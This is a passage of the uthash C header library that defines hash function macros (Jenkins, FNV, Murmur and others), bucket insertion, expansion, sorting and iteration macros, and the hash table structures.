long)fieldlen);                        \\\n} while (0)\n#else\n#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)\n#endif\n\n/* default to Jenkin's hash unless overridden e.g. DHASH_FUNCTION=HASH_SAX */\n#ifdef HASH_FUNCTION\n#define HASH_FCN HASH_FUNCTION\n#else\n#define HASH_FCN HASH_JEN\n#endif\n\n/* The Bernstein hash function, used in Perl prior to v5.6. Note (x<<5+x)=x*33. */\n#define HASH_BER(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _hb_keylen = (unsigned)keylen;                                        \\\n  const unsigned char *_hb_key = (const unsigned char*)(key);                    \\\n  (hashv) = 0;                                                                   \\\n  while (_hb_keylen-- != 0U) {                                                   \\\n    (hashv) = (((hashv) << 5) + (hashv)) + *_hb_key++;                           \\\n  }                                                                              \\\n} while (0)\n\n\n/* SAX/FNV/OAT/JEN hash functions are macro variants of those listed at\n * http://eternallyconfuzzled.com/tuts/algorithms/jsw_tut_hashing.aspx */\n#define HASH_SAX(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _sx_i;                                                                \\\n  const unsigned char *_hs_key = (const unsigned char*)(key);                    \\\n  hashv = 0;                                                                     \\\n  for (_sx_i=0; _sx_i < keylen; _sx_i++) {                                       \\\n    hashv ^= (hashv << 5) + (hashv >> 2) + _hs_key[_sx_i];                       \\\n  }                                                                              \\\n} while (0)\n/* FNV-1a variation */\n#define HASH_FNV(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _fn_i;                                                                \\\n  const unsigned char *_hf_key = (const unsigned char*)(key);                    \\\n  (hashv) = 2166136261U;                                                         \\\n  for (_fn_i=0; _fn_i < keylen; _fn_i++) {                                       \\\n    hashv = hashv ^ _hf_key[_fn_i];                                              \\\n    hashv = hashv * 16777619U;                                                   \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_OAT(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _ho_i;                                                                \\\n  const unsigned char *_ho_key=(const unsigned char*)(key);                      \\\n  hashv = 0;                                                                     \\\n  for(_ho_i=0; _ho_i < keylen; _ho_i++) {                                        \\\n      hashv += _ho_key[_ho_i];                                                   \\\n      hashv += (hashv << 10);                                                    \\\n      hashv ^= (hashv >> 6);                                                     \\\n  }                                                                              \\\n  hashv += (hashv << 3);                                                         \\\n  hashv ^= (hashv >> 11);                                                        \\\n  hashv += (hashv << 15);                                                        \\\n} while (0)\n\n#define HASH_JEN_MIX(a,b,c)                                                      \\\ndo {                                                                             \\\n  a -= b; a -= c; a ^= ( c >> 13 );                                              \\\n  b -= c; b -= a; b ^= ( a << 8 );                                               \\\n  c -= a; c -= b; c ^= ( b >> 13 );                                              \\\n  a -= b; a -= c; a ^= ( c >> 12 );                                              \\\n  b -= c; b -= a; b ^= ( a << 16 );                                              \\\n  c -= a; c -= b; c ^= ( b >> 5 );                                               \\\n  a -= b; a -= c; a ^= ( c >> 3 );                                               \\\n  b -= c; b -= a; b ^= ( a << 10 );                                              \\\n  c -= a; c -= b; c ^= ( b >> 15 );                                              \\\n} while (0)\n\n#define HASH_JEN(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _hj_i,_hj_j,_hj_k;                                                    \\\n  unsigned const char *_hj_key=(unsigned const char*)(key);                      \\\n  hashv = 0xfeedbeefu;                                                           \\\n  _hj_i = _hj_j = 0x9e3779b9u;                                                   \\\n  _hj_k = (unsigned)(keylen);                                                    \\\n  while (_hj_k >= 12U) {                                                         \\\n    _hj_i +=    (_hj_key[0] + ( (unsigned)_hj_key[1] << 8 )                      \\\n        + ( (unsigned)_hj_key[2] << 16 )                                         \\\n        + ( (unsigned)_hj_key[3] << 24 ) );                                      \\\n    _hj_j +=    (_hj_key[4] + ( (unsigned)_hj_key[5] << 8 )                      \\\n        + ( (unsigned)_hj_key[6] << 16 )                                         \\\n        + ( (unsigned)_hj_key[7] << 24 ) );                                      \\\n    hashv += (_hj_key[8] + ( (unsigned)_hj_key[9] << 8 )                         \\\n        + ( (unsigned)_hj_key[10] << 16 )                                        \\\n        + ( (unsigned)_hj_key[11] << 24 ) );                                     \\\n                                                                                 \\\n     HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                          \\\n                                                                                 \\\n     _hj_key += 12;                                                              \\\n     _hj_k -= 12U;                                                               \\\n  }                                                                              \\\n  hashv += (unsigned)(keylen);                                                   \\\n  switch ( _hj_k ) {                                                             \\\n    case 11: hashv += ( (unsigned)_hj_key[10] << 24 ); /* FALLTHROUGH */         \\\n    case 10: hashv += ( (unsigned)_hj_key[9] << 16 );  /* FALLTHROUGH */         \\\n    case 9:  hashv += ( (unsigned)_hj_key[8] << 8 );   /* FALLTHROUGH */         \\\n    case 8:  _hj_j += ( (unsigned)_hj_key[7] << 24 );  /* FALLTHROUGH */         \\\n    case 7:  _hj_j += ( (unsigned)_hj_key[6] << 16 );  /* FALLTHROUGH */         \\\n    case 6:  _hj_j += ( (unsigned)_hj_key[5] << 8 );   /* FALLTHROUGH */         \\\n    case 5:  _hj_j += _hj_key[4];                      /* FALLTHROUGH */         \\\n    case 4:  _hj_i += ( (unsigned)_hj_key[3] << 24 );  /* FALLTHROUGH */         \\\n    case 3:  _hj_i += ( (unsigned)_hj_key[2] << 16 );  /* FALLTHROUGH */         \\\n    case 2:  _hj_i += ( (unsigned)_hj_key[1] << 8 );   /* FALLTHROUGH */         \\\n    case 1:  _hj_i += _hj_key[0];                                                \\\n  }                                                                              \\\n  HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                             \\\n} while (0)\n\n/* The Paul Hsieh hash function */\n#undef get16bits\n#if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__)             \\\n  || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__)\n#define get16bits(d) (*((const uint16_t *) (d)))\n#endif\n\n#if !defined (get16bits)\n#define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8)             \\\n                       +(uint32_t)(((const uint8_t *)(d))[0]) )\n#endif\n#define HASH_SFH(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned const char *_sfh_key=(unsigned const char*)(key);                     \\\n  uint32_t _sfh_tmp, _sfh_len = (uint32_t)keylen;                                \\\n                                                                                 \\\n  unsigned _sfh_rem = _sfh_len & 3U;                                             \\\n  _sfh_len >>= 2;                                                                \\\n  hashv = 0xcafebabeu;                                                           \\\n                                                                                 \\\n  /* Main loop */                                                                \\\n  for (;_sfh_len > 0U; _sfh_len--) {                                             \\\n    hashv    += get16bits (_sfh_key);                                            \\\n    _sfh_tmp  = ((uint32_t)(get16bits (_sfh_key+2)) << 11) ^ hashv;              \\\n    hashv     = (hashv << 16) ^ _sfh_tmp;                                        \\\n    _sfh_key += 2U*sizeof (uint16_t);                                            \\\n    hashv    += hashv >> 11;                                                     \\\n  }                                                                              \\\n                                                                                 \\\n  /* Handle end cases */                                                         \\\n  switch (_sfh_rem) {                                                            \\\n    case 3: hashv += get16bits (_sfh_key);                                       \\\n            hashv ^= hashv << 16;                                                \\\n            hashv ^= (uint32_t)(_sfh_key[sizeof (uint16_t)]) << 18;              \\\n            hashv += hashv >> 11;                                                \\\n            break;                                                               \\\n    case 2: hashv += get16bits (_sfh_key);                                       \\\n            hashv ^= hashv << 11;                                                \\\n            hashv += hashv >> 17;                                                \\\n            break;                                                               \\\n    case 1: hashv += *_sfh_key;                                                  \\\n            hashv ^= hashv << 10;                                                \\\n            hashv += hashv >> 1;                                                 \\\n  }                                                                              \\\n                                                                                 \\\n  /* Force \"avalanching\" of final 127 bits */                                    \\\n  hashv ^= hashv << 3;                                                           \\\n  hashv += hashv >> 5;                                                           \\\n  hashv ^= hashv << 4;                                                           \\\n  hashv += hashv >> 17;                                                          \\\n  hashv ^= hashv << 25;                                                          \\\n  hashv += hashv >> 6;                                                           \\\n} while (0)\n\n#ifdef HASH_USING_NO_STRICT_ALIASING\n/* The MurmurHash exploits some CPU's (x86,x86_64) tolerance for unaligned reads.\n * For other types of CPU's (e.g. Sparc) an unaligned read causes a bus error.\n * MurmurHash uses the faster approach only on CPU's where we know it's safe.\n *\n * Note the preprocessor built-in defines can be emitted using:\n *\n *   gcc -m64 -dM -E - < /dev/null                  (on gcc)\n *   cc -## a.c (where a.c is a simple test file)   (Sun Studio)\n */\n#if (defined(__i386__) || defined(__x86_64__)  || defined(_M_IX86))\n#define MUR_GETBLOCK(p,i) p[i]\n#else /* non intel */\n#define MUR_PLUS0_ALIGNED(p) (((unsigned long)p & 3UL) == 0UL)\n#define MUR_PLUS1_ALIGNED(p) (((unsigned long)p & 3UL) == 1UL)\n#define MUR_PLUS2_ALIGNED(p) (((unsigned long)p & 3UL) == 2UL)\n#define MUR_PLUS3_ALIGNED(p) (((unsigned long)p & 3UL) == 3UL)\n#define WP(p) ((uint32_t*)((unsigned long)(p) & ~3UL))\n#if (defined(__BIG_ENDIAN__) || defined(SPARC) || defined(__ppc__) || defined(__ppc64__))\n#define MUR_THREE_ONE(p) ((((*WP(p))&0x00ffffff) << 8) | (((*(WP(p)+1))&0xff000000) >> 24))\n#define MUR_TWO_TWO(p)   ((((*WP(p))&0x0000ffff) <<16) | (((*(WP(p)+1))&0xffff0000) >> 16))\n#define MUR_ONE_THREE(p) ((((*WP(p))&0x000000ff) <<24) | (((*(WP(p)+1))&0xffffff00) >>  8))\n#else /* assume little endian non-intel */\n#define MUR_THREE_ONE(p) ((((*WP(p))&0xffffff00) >> 8) | (((*(WP(p)+1))&0x000000ff) << 24))\n#define MUR_TWO_TWO(p)   ((((*WP(p))&0xffff0000) >>16) | (((*(WP(p)+1))&0x0000ffff) << 16))\n#define MUR_ONE_THREE(p) ((((*WP(p))&0xff000000) >>24) | (((*(WP(p)+1))&0x00ffffff) <<  8))\n#endif\n#define MUR_GETBLOCK(p,i) (MUR_PLUS0_ALIGNED(p) ? ((p)[i]) :           \\\n                            (MUR_PLUS1_ALIGNED(p) ? MUR_THREE_ONE(p) : \\\n                             (MUR_PLUS2_ALIGNED(p) ? MUR_TWO_TWO(p) :  \\\n                                                      MUR_ONE_THREE(p))))\n#endif\n#define MUR_ROTL32(x,r) (((x) << (r)) | ((x) >> (32 - (r))))\n#define MUR_FMIX(_h) \\\ndo {                 \\\n  _h ^= _h >> 16;    \\\n  _h *= 0x85ebca6bu; \\\n  _h ^= _h >> 13;    \\\n  _h *= 0xc2b2ae35u; \\\n  _h ^= _h >> 16;    \\\n} while (0)\n\n#define HASH_MUR(key,keylen,hashv)                                     \\\ndo {                                                                   \\\n  const uint8_t *_mur_data = (const uint8_t*)(key);                    \\\n  const int _mur_nblocks = (int)(keylen) / 4;                          \\\n  uint32_t _mur_h1 = 0xf88D5353u;                                      \\\n  uint32_t _mur_c1 = 0xcc9e2d51u;                                      \\\n  uint32_t _mur_c2 = 0x1b873593u;                                      \\\n  uint32_t _mur_k1 = 0;                                                \\\n  const uint8_t *_mur_tail;                                            \\\n  const uint32_t *_mur_blocks = (const uint32_t*)(_mur_data+(_mur_nblocks*4)); \\\n  int _mur_i;                                                          \\\n  for (_mur_i = -_mur_nblocks; _mur_i != 0; _mur_i++) {                \\\n    _mur_k1 = MUR_GETBLOCK(_mur_blocks,_mur_i);                        \\\n    _mur_k1 *= _mur_c1;                                                \\\n    _mur_k1 = MUR_ROTL32(_mur_k1,15);                                  \\\n    _mur_k1 *= _mur_c2;                                                \\\n                                                                       \\\n    _mur_h1 ^= _mur_k1;                                                \\\n    _mur_h1 = MUR_ROTL32(_mur_h1,13);                                  \\\n    _mur_h1 = (_mur_h1*5U) + 0xe6546b64u;                              \\\n  }                                                                    \\\n  _mur_tail = (const uint8_t*)(_mur_data + (_mur_nblocks*4));          \\\n  _mur_k1=0;                                                           \\\n  switch ((keylen) & 3U) {                                             \\\n    case 0: break;                                                     \\\n    case 3: _mur_k1 ^= (uint32_t)_mur_tail[2] << 16; /* FALLTHROUGH */ \\\n    case 2: _mur_k1 ^= (uint32_t)_mur_tail[1] << 8;  /* FALLTHROUGH */ \\\n    case 1: _mur_k1 ^= (uint32_t)_mur_tail[0];                         \\\n    _mur_k1 *= _mur_c1;                                                \\\n    _mur_k1 = MUR_ROTL32(_mur_k1,15);                                  \\\n    _mur_k1 *= _mur_c2;                                                \\\n    _mur_h1 ^= _mur_k1;                                                \\\n  }                                                                    \\\n  _mur_h1 ^= (uint32_t)(keylen);                                       \\\n  MUR_FMIX(_mur_h1);                                                   \\\n  hashv = _mur_h1;                                                     \\\n} while (0)\n#endif  /* HASH_USING_NO_STRICT_ALIASING */\n\n/* iterate over items in a known bucket to find desired item */\n#define HASH_FIND_IN_BKT(tbl,hh,head,keyptr,keylen_in,hashval,out)               \\\ndo {                                                                             \\\n  if ((head).hh_head != NULL) {                                                  \\\n    DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (head).hh_head));                     \\\n  } else {                                                                       \\\n    (out) = NULL;                                                                \\\n  }                                                                              \\\n  while ((out) != NULL) {                                                        \\\n    if ((out)->hh.hashv == (hashval) && (out)->hh.keylen == (keylen_in)) {       \\\n      if (HASH_KEYCMP((out)->hh.key, keyptr, keylen_in) == 0) {              \\\n        break;                                                                   \\\n      }                                                                          \\\n    }                                                                            \\\n    if ((out)->hh.hh_next != NULL) {                                             \\\n      DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (out)->hh.hh_next));                \\\n    } else {                                                                     \\\n      (out) = NULL;                                                              \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n\n/* add an item to a bucket  */\n#define HASH_ADD_TO_BKT(head,hh,addhh,oomed)                                     \\\ndo {                                                                             \\\n  UT_hash_bucket *_ha_head = &(head);                                            \\\n  _ha_head->count++;                                                             \\\n  (addhh)->hh_next = _ha_head->hh_head;                                          \\\n  (addhh)->hh_prev = NULL;                                                       \\\n  if (_ha_head->hh_head != NULL) {                                               \\\n    _ha_head->hh_head->hh_prev = (addhh);                                        \\\n  }                                                                              \\\n  _ha_head->hh_head = (addhh);                                                   \\\n  if ((_ha_head->count >= ((_ha_head->expand_mult + 1U) * HASH_BKT_CAPACITY_THRESH)) \\\n      && !(addhh)->tbl->noexpand) {                                              \\\n    HASH_EXPAND_BUCKETS(addhh,(addhh)->tbl, oomed);                              \\\n    IF_HASH_NONFATAL_OOM(                                                        \\\n      if (oomed) {                                                               \\\n        HASH_DEL_IN_BKT(head,addhh);                                             \\\n      }                                                                          \\\n    )                                                                            \\\n  }                                                                              \\\n} while (0)\n\n/* remove an item from a given bucket */\n#define HASH_DEL_IN_BKT(head,delhh)                                              \\\ndo {                                                                             \\\n  UT_hash_bucket *_hd_head = &(head);                                            \\\n  _hd_head->count--;                                                             \\\n  if (_hd_head->hh_head == (delhh)) {                                            \\\n    _hd_head->hh_head = (delhh)->hh_next;                                        \\\n  }                                                                              \\\n  if ((delhh)->hh_prev) {                                                        \\\n    (delhh)->hh_prev->hh_next = (delhh)->hh_next;                                \\\n  }                                                                              \\\n  if ((delhh)->hh_next) {                                                        \\\n    (delhh)->hh_next->hh_prev = (delhh)->hh_prev;                                \\\n  }                                                                              \\\n} while (0)\n\n/* Bucket expansion has the effect of doubling the number of buckets\n * and redistributing the items into the new buckets. Ideally the\n * items will distribute more or less evenly into the new buckets\n * (the extent to which this is true is a measure of the quality of\n * the hash function as it applies to the key domain).\n *\n * With the items distributed into more buckets, the chain length\n * (item count) in each bucket is reduced. Thus by expanding buckets\n * the hash keeps a bound on the chain length. This bounded chain\n * length is the essence of how a hash provides constant time lookup.\n *\n * The calculation of tbl->ideal_chain_maxlen below deserves some\n * explanation. First, keep in mind that we're calculating the ideal\n * maximum chain length based on the *new* (doubled) bucket count.\n * In fractions this is just n/b (n=number of items,b=new num buckets).\n * Since the ideal chain length is an integer, we want to calculate\n * ceil(n/b). We don't depend on floating point arithmetic in this\n * hash, so to calculate ceil(n/b) with integers we could write\n *\n *      ceil(n/b) = (n/b) + ((n%b)?1:0)\n *\n * and in fact a previous version of this hash did just that.\n * But now we have improved things a bit by recognizing that b is\n * always a power of two. We keep its base 2 log handy (call it lb),\n * so now we can write this with a bit shift and logical AND:\n *\n *      ceil(n/b) = (n>>lb) + ( (n & (b-1)) ? 1:0)\n *\n */\n#define HASH_EXPAND_BUCKETS(hh,tbl,oomed)                                        \\\ndo {                                                                             \\\n  unsigned _he_bkt;                                                              \\\n  unsigned _he_bkt_i;                                                            \\\n  struct UT_hash_handle *_he_thh, *_he_hh_nxt;                                   \\\n  UT_hash_bucket *_he_new_buckets, *_he_newbkt;                                  \\\n  _he_new_buckets = (UT_hash_bucket*)uthash_malloc(                              \\\n           2UL * (tbl)->num_buckets * sizeof(struct UT_hash_bucket));            \\\n  if (!_he_new_buckets) {                                                        \\\n    HASH_RECORD_OOM(oomed);                                                      \\\n  } else {                                                                       \\\n    uthash_bzero(_he_new_buckets,                                                \\\n        2UL * (tbl)->num_buckets * sizeof(struct UT_hash_bucket));               \\\n    (tbl)->ideal_chain_maxlen =                                                  \\\n       ((tbl)->num_items >> ((tbl)->log2_num_buckets+1U)) +                      \\\n       ((((tbl)->num_items & (((tbl)->num_buckets*2U)-1U)) != 0U) ? 1U : 0U);    \\\n    (tbl)->nonideal_items = 0;                                                   \\\n    for (_he_bkt_i = 0; _he_bkt_i < (tbl)->num_buckets; _he_bkt_i++) {           \\\n      _he_thh = (tbl)->buckets[ _he_bkt_i ].hh_head;                             \\\n      while (_he_thh != NULL) {                                                  \\\n        _he_hh_nxt = _he_thh->hh_next;                                           \\\n        HASH_TO_BKT(_he_thh->hashv, (tbl)->num_buckets * 2U, _he_bkt);           \\\n        _he_newbkt = &(_he_new_buckets[_he_bkt]);                                \\\n        if (++(_he_newbkt->count) > (tbl)->ideal_chain_maxlen) {                 \\\n          (tbl)->nonideal_items++;                                               \\\n          if (_he_newbkt->count > _he_newbkt->expand_mult * (tbl)->ideal_chain_maxlen) { \\\n            _he_newbkt->expand_mult++;                                           \\\n          }                                                                      \\\n        }                                                                        \\\n        _he_thh->hh_prev = NULL;                                                 \\\n        _he_thh->hh_next = _he_newbkt->hh_head;                                  \\\n        if (_he_newbkt->hh_head != NULL) {                                       \\\n          _he_newbkt->hh_head->hh_prev = _he_thh;                                \\\n        }                                                                        \\\n        _he_newbkt->hh_head = _he_thh;                                           \\\n        _he_thh = _he_hh_nxt;                                                    \\\n      }                                                                          \\\n    }                                                                            \\\n    uthash_free((tbl)->buckets, (tbl)->num_buckets * sizeof(struct UT_hash_bucket)); \\\n    (tbl)->num_buckets *= 2U;                                                    \\\n    (tbl)->log2_num_buckets++;                                                   \\\n    (tbl)->buckets = _he_new_buckets;                                            \\\n    (tbl)->ineff_expands = ((tbl)->nonideal_items > ((tbl)->num_items >> 1)) ?   \\\n        ((tbl)->ineff_expands+1U) : 0U;                                          \\\n    if ((tbl)->ineff_expands > 1U) {                                             \\\n      (tbl)->noexpand = 1;                                                       \\\n      uthash_noexpand_fyi(tbl);                                                  \\\n    }                                                                            \\\n    uthash_expand_fyi(tbl);                                                      \\\n  }                                                                              \\\n} while (0)\n\n\n/* This is an adaptation of Simon Tatham's O(n log(n)) mergesort */\n/* Note that HASH_SORT assumes the hash handle name to be hh.\n * HASH_SRT was added to allow the hash handle name to be passed in. */\n#define HASH_SORT(head,cmpfcn) HASH_SRT(hh,head,cmpfcn)\n#define HASH_SRT(hh,head,cmpfcn)                                                 \\\ndo {                                                                             \\\n  unsigned _hs_i;                                                                \\\n  unsigned _hs_looping,_hs_nmerges,_hs_insize,_hs_psize,_hs_qsize;               \\\n  struct UT_hash_handle *_hs_p, *_hs_q, *_hs_e, *_hs_list, *_hs_tail;            \\\n  if (head != NULL) {                                                            \\\n    _hs_insize = 1;                                                              \\\n    _hs_looping = 1;                                                             \\\n    _hs_list = &((head)->hh);                                                    \\\n    while (_hs_looping != 0U) {                                                  \\\n      _hs_p = _hs_list;                                                          \\\n      _hs_list = NULL;                                                           \\\n      _hs_tail = NULL;                                                           \\\n      _hs_nmerges = 0;                                                           \\\n      while (_hs_p != NULL) {                                                    \\\n        _hs_nmerges++;                                                           \\\n        _hs_q = _hs_p;                                                           \\\n        _hs_psize = 0;                                                           \\\n        for (_hs_i = 0; _hs_i < _hs_insize; ++_hs_i) {                           \\\n          _hs_psize++;                                                           \\\n          _hs_q = ((_hs_q->next != NULL) ?                                       \\\n            HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                   \\\n          if (_hs_q == NULL) {                                                   \\\n            break;                                                               \\\n          }                                                                      \\\n        }                                                                        \\\n        _hs_qsize = _hs_insize;                                                  \\\n        while ((_hs_psize != 0U) || ((_hs_qsize != 0U) && (_hs_q != NULL))) {    \\\n          if (_hs_psize == 0U) {                                                 \\\n            _hs_e = _hs_q;                                                       \\\n            _hs_q = ((_hs_q->next != NULL) ?                                     \\\n              HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                 \\\n            _hs_qsize--;                                                         \\\n          } else if ((_hs_qsize == 0U) || (_hs_q == NULL)) {                     \\\n            _hs_e = _hs_p;                                                       \\\n            if (_hs_p != NULL) {                                                 \\\n              _hs_p = ((_hs_p->next != NULL) ?                                   \\\n                HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL);               \\\n            }                                                                    \\\n            _hs_psize--;                                                         \\\n          } else if ((cmpfcn(                                                    \\\n                DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_p)),             \\\n                DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_q))              \\\n                )) <= 0) {                                                       \\\n            _hs_e = _hs_p;                                                       \\\n            if (_hs_p != NULL) {                                                 \\\n              _hs_p = ((_hs_p->next != NULL) ?                                   \\\n                HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL);               \\\n            }                                                                    \\\n            _hs_psize--;                                                         \\\n          } else {                                                               \\\n            _hs_e = _hs_q;                                                       \\\n            _hs_q = ((_hs_q->next != NULL) ?                                     \\\n              HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                 \\\n            _hs_qsize--;                                                         \\\n          }                                                                      \\\n          if ( _hs_tail != NULL ) {                                              \\\n            _hs_tail->next = ((_hs_e != NULL) ?                                  \\\n              ELMT_FROM_HH((head)->hh.tbl, _hs_e) : NULL);                       \\\n          } else {                                                               \\\n            _hs_list = _hs_e;                                                    \\\n          }                                                                      \\\n          if (_hs_e != NULL) {                                                   \\\n            _hs_e->prev = ((_hs_tail != NULL) ?                                  \\\n              ELMT_FROM_HH((head)->hh.tbl, _hs_tail) : NULL);                    \\\n          }                                                                      \\\n          _hs_tail = _hs_e;                                                      \\\n        }                                                                        \\\n        _hs_p = _hs_q;                                                           \\\n      }                                                                          \\\n      if (_hs_tail != NULL) {                                                    \\\n        _hs_tail->next = NULL;                                                   \\\n      }                                                                          \\\n      if (_hs_nmerges <= 1U) {                                                   \\\n        _hs_looping = 0;                                                         \\\n        (head)->hh.tbl->tail = _hs_tail;                                         \\\n        DECLTYPE_ASSIGN(head, ELMT_FROM_HH((head)->hh.tbl, _hs_list));           \\\n      }                                                                          \\\n      _hs_insize *= 2U;                                                          \\\n    }                                                                            \\\n    HASH_FSCK(hh, head, \"HASH_SRT\");                                             \\\n  }                                                                              \\\n} while (0)\n\n/* This function selects items from one hash into another hash.\n * The end result is that the selected items have dual presence\n * in both hashes. There is no copy of the items made; rather\n * they are added into the new hash through a secondary hash\n * hash handle that must be present in the structure. */\n#define HASH_SELECT(hh_dst, dst, hh_src, src, cond)                              \\\ndo {                                                                             \\\n  unsigned _src_bkt, _dst_bkt;                                                   \\\n  void *_last_elt = NULL, *_elt;                                                 \\\n  UT_hash_handle *_src_hh, *_dst_hh, *_last_elt_hh=NULL;                         \\\n  ptrdiff_t _dst_hho = ((char*)(&(dst)->hh_dst) - (char*)(dst));                 \\\n  if ((src) != NULL) {                                                           \\\n    for (_src_bkt=0; _src_bkt < (src)->hh_src.tbl->num_buckets; _src_bkt++) {    \\\n      for (_src_hh = (src)->hh_src.tbl->buckets[_src_bkt].hh_head;               \\\n        _src_hh != NULL;                                                         \\\n        _src_hh = _src_hh->hh_next) {                                            \\\n        _elt = ELMT_FROM_HH((src)->hh_src.tbl, _src_hh);                         \\\n        if (cond(_elt)) {                                                        \\\n          IF_HASH_NONFATAL_OOM( int _hs_oomed = 0; )                             \\\n          _dst_hh = (UT_hash_handle*)(((char*)_elt) + _dst_hho);                 \\\n          _dst_hh->key = _src_hh->key;                                           \\\n          _dst_hh->keylen = _src_hh->keylen;                                     \\\n          _dst_hh->hashv = _src_hh->hashv;                                       \\\n          _dst_hh->prev = _last_elt;                                             \\\n          _dst_hh->next = NULL;                                                  \\\n          if (_last_elt_hh != NULL) {                                            \\\n            _last_elt_hh->next = _elt;                                           \\\n          }                                                                      \\\n          if ((dst) == NULL) {                                                   \\\n            DECLTYPE_ASSIGN(dst, _elt);                                          \\\n            HASH_MAKE_TABLE(hh_dst, dst, _hs_oomed);                             \\\n            IF_HASH_NONFATAL_OOM(                                                \\\n              if (_hs_oomed) {                                                   \\\n                uthash_nonfatal_oom(_elt);                                       \\\n                (dst) = NULL;                                                    \\\n                continue;                                                        \\\n              }                                                                  \\\n            )                                                                    \\\n          } else {                                                               \\\n            _dst_hh->tbl = (dst)->hh_dst.tbl;                                    \\\n          }                                                                      \\\n          HASH_TO_BKT(_dst_hh->hashv, _dst_hh->tbl->num_buckets, _dst_bkt);      \\\n          HASH_ADD_TO_BKT(_dst_hh->tbl->buckets[_dst_bkt], hh_dst, _dst_hh, _hs_oomed); \\\n          (dst)->hh_dst.tbl->num_items++;                                        \\\n          IF_HASH_NONFATAL_OOM(                                                  \\\n            if (_hs_oomed) {                                                     \\\n              HASH_ROLLBACK_BKT(hh_dst, dst, _dst_hh);                           \\\n              HASH_DELETE_HH(hh_dst, dst, _dst_hh);                              \\\n              _dst_hh->tbl = NULL;                                               \\\n              uthash_nonfatal_oom(_elt);                                         \\\n              continue;                                                          \\\n            }                                                                    \\\n          )                                                                      \\\n          HASH_BLOOM_ADD(_dst_hh->tbl, _dst_hh->hashv);                          \\\n          _last_elt = _elt;                                                      \\\n          _last_elt_hh = _dst_hh;                                                \\\n        }                                                                        \\\n      }                                                                          \\\n    }                                                                            \\\n  }                                                                              \\\n  HASH_FSCK(hh_dst, dst, \"HASH_SELECT\");                                         \\\n} while (0)\n\n#define HASH_CLEAR(hh,head)                                                      \\\ndo {                                                                             \\\n  if ((head) != NULL) {                                                          \\\n    HASH_BLOOM_FREE((head)->hh.tbl);                                             \\\n    uthash_free((head)->hh.tbl->buckets,                                         \\\n                (head)->hh.tbl->num_buckets*sizeof(struct UT_hash_bucket));      \\\n    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \\\n    (head) = NULL;                                                               \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_OVERHEAD(hh,head)                                                   \\\n (((head) != NULL) ? (                                                           \\\n (size_t)(((head)->hh.tbl->num_items   * sizeof(UT_hash_handle))   +             \\\n          ((head)->hh.tbl->num_buckets * sizeof(UT_hash_bucket))   +             \\\n           sizeof(UT_hash_table)                                   +             \\\n           (HASH_BLOOM_BYTELEN))) : 0U)\n\n#ifdef NO_DECLTYPE\n#define HASH_ITER(hh,head,el,tmp)                                                \\\nfor(((el)=(head)), ((*(char**)(&(tmp)))=(char*)((head!=NULL)?(head)->hh.next:NULL)); \\\n  (el) != NULL; ((el)=(tmp)), ((*(char**)(&(tmp)))=(char*)((tmp!=NULL)?(tmp)->hh.next:NULL)))\n#else\n#define HASH_ITER(hh,head,el,tmp)                                                \\\nfor(((el)=(head)), ((tmp)=DECLTYPE(el)((head!=NULL)?(head)->hh.next:NULL));      \\\n  (el) != NULL; ((el)=(tmp)), ((tmp)=DECLTYPE(el)((tmp!=NULL)?(tmp)->hh.next:NULL)))\n#endif\n\n/* obtain a count of items in the hash */\n#define HASH_COUNT(head) HASH_CNT(hh,head)\n#define HASH_CNT(hh,head) ((head != NULL)?((head)->hh.tbl->num_items):0U)\n\ntypedef struct UT_hash_bucket {\n   struct UT_hash_handle *hh_head;\n   unsigned count;\n\n   /* expand_mult is normally set to 0. In this situation, the max chain length\n    * threshold is enforced at its default value, HASH_BKT_CAPACITY_THRESH. (If\n    * the bucket's chain exceeds this length, bucket expansion is triggered).\n    * However, setting expand_mult to a non-zero value delays bucket expansion\n    * (that would be triggered by additions to this particular bucket)\n    * until its chain length reaches a *multiple* of HASH_BKT_CAPACITY_THRESH.\n    * (The multiplier is simply expand_mult+1). The whole idea of this\n    * multiplier is to reduce bucket expansions, since they are expensive, in\n    * situations where we know that a particular bucket tends to be overused.\n    * It is better to let its chain length grow to a longer yet-still-bounded\n    * value, than to do an O(n) bucket expansion too often.\n    */\n   unsigned expand_mult;\n\n} UT_hash_bucket;\n\n/* random signature used only to find hash tables in external analysis */\n#define HASH_SIGNATURE 0xa0111fe1u\n#define HASH_BLOOM_SIGNATURE 0xb12220f2u\n\ntypedef struct UT_hash_table {\n   UT_hash_bucket *buckets;\n   unsigned num_buckets, log2_num_buckets;\n   unsigned num_items;\n   struct UT_hash_handle *tail; /* tail hh in app order, for fast append    */\n   ptrdiff_t hho; /* hash handle offset (byte pos of hash handle in element */\n\n   /* in an ideal situation (all buckets used equally), no bucket would have\n    * more than ceil(#items/#buckets) items. that's the ideal chain length. */\n   unsigned ideal_chain_maxlen;\n\n   /* nonideal_items is the number of items in the hash whose chain position\n    * exceeds the ideal chain maxlen. these items pay the penalty for an uneven\n    * hash distribution; reaching them in a chain traversal takes >ideal steps */\n   unsigned nonideal_items;\n\n   /* ineffective expands occur when a bucket doubling was performed, but\n    * afterward, more than half the items in the hash had nonideal chain\n    * positions. If this 